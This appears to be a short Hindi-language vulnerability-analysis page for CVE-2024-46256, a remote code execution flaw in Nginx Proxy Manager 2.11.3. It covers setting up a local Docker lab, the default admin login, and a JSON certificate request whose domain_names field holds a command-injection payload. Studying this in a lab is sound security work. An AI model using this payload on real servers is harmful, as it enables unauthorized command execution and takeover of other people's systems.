CVE-2024-46256 — CVE-2024-46256 उपकरण | Kitploit

साझा करें

CVE-2024-46256 Nginx Proxy Manager RCE भेद्यता विश्लेषण

वातावरण सेटअप

1. Nginx Proxy Manager 2.11.3 वातावरण चलाएँ


docker-compose up -d

या आप स्वचालित स्क्रिप्ट का उपयोग कर सकते हैं:


python setup_environment.py

2. Nginx Proxy Manager तक पहुँचें

URL: http://localhost:81
प्रारंभिक सेटअप पूरा करने के बाद परीक्षण करें
डिफ़ॉल्ट व्यवस्थापक खाते से लॉगिन करें (ईमेल: [email protected] / पासवर्ड: changeme)
प्रमाणपत्र जारी करने से संबंधित सुविधाओं तक पहुँच की अनुमति सत्यापित करें

भेद्यता जानकारी

CVE ID: CVE-2024-46256
उत्पाद: Nginx Proxy Manager

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}